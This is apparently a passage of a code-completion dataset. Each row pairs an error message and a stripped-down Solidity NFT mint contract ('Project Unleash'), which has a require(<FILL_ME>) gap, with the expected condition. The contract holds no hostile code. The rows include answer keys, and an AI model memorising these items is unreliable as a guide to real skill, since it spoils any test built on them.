uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| _whitelistMintTracker[msg.sender]+numberOfTokens<=maxPerWalletWL,"Cannot claim more than allowed limit per address" | 87,662 | _whitelistMintTracker[msg.sender]+numberOfTokens<=maxPerWalletWL |
"Cannot reserve more than 10 tokens" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| reservedTokensMinted+numberOfTokens<=NUMBER_RESERVED_TOKENS,"Cannot reserve more than 10 tokens" | 87,662 | reservedTokensMinted+numberOfTokens<=NUMBER_RESERVED_TOKENS |
"Incorrect ETH value sent" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
require(<FILL_ME>)
_;
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| price*numberOfTokens==msg.value,"Incorrect ETH value sent" | 87,662 | price*numberOfTokens==msg.value |
"Purchase would exceed max supply" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| totalSupply()+numberOfTokens<=MAX_SUPPLY-1000-(NUMBER_RESERVED_TOKENS-reservedTokensMinted),"Purchase would exceed max supply" | 87,662 | totalSupply()+numberOfTokens<=MAX_SUPPLY-1000-(NUMBER_RESERVED_TOKENS-reservedTokensMinted) |
"Purchase would exceed max supply" | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// ///
/// ///
/// ///
/// █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░ ██╗░░░██╗███╗░░██╗██╗░░░░░███████╗░█████╗░░██████╗██╗░░██╗ ░░░░█ ///
/// █░░░░ ██║░░░██║████╗░██║██║░░░░░██╔════╝██╔══██╗██╔════╝██║░░██║ ░░░░█ ///
/// █░░░░ ██║░░░██║██╔██╗██║██║░░░░░█████╗░░███████║╚█████╗░███████║ ░░░░█ ///
/// █░░░░ ██║░░░██║██║╚████║██║░░░░░██╔══╝░░██╔══██║░╚═══██╗██╔══██║ ░░░░█ ///
/// █░░░░ ╚██████╔╝██║░╚███║███████╗███████╗██║░░██║██████╔╝██║░░██║ ░░░░█ ///
/// █░░░░ ░╚═════╝░╚═╝░░╚══╝╚══════╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ ░░░░█ ///
/// █░░░░ ░░░░█ ///
/// █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█ ///
/// █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ///
/// ///
/// ///
/// ///
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: Apache 2.0
pragma solidity ^0.8.12;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ProjectUnleash is
ERC721A,
IERC2981,
Ownable,
Pausable,
ReentrancyGuard
{
using Strings for uint256;
string private contractURIstr = "";
string public baseExtension = ".json";
string public notRevealedUri = "ipfs://Qmbudj6tQ2XGB5ru37Mtd1weXgUxRxF9Bn3Bm5PVW57YZH/";
string private baseURI;
bytes32 public premintlistMerkleRoot;
bytes32 public whitelistMerkleRoot;
uint256 public PUBLIC_PRICE = 0.03 ether;
uint256 public PREMINT_PRICE = 0.027 ether;
uint256 public constant WHITELIST_PRICE = 0.000 ether;
uint256 public royalty = 65;
uint256 public constant NUMBER_RESERVED_TOKENS = 1000; // Team Reverse
bool public revealed = false;
bool public publicListSaleisActive = true;
bool public whiteListSaleisActive = false;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public maxPerTransaction = 3;
uint256 public maxPerWallet = 3;
uint256 public maxPerTransactionWL = 1;
uint256 public maxPerWalletWL = 1;
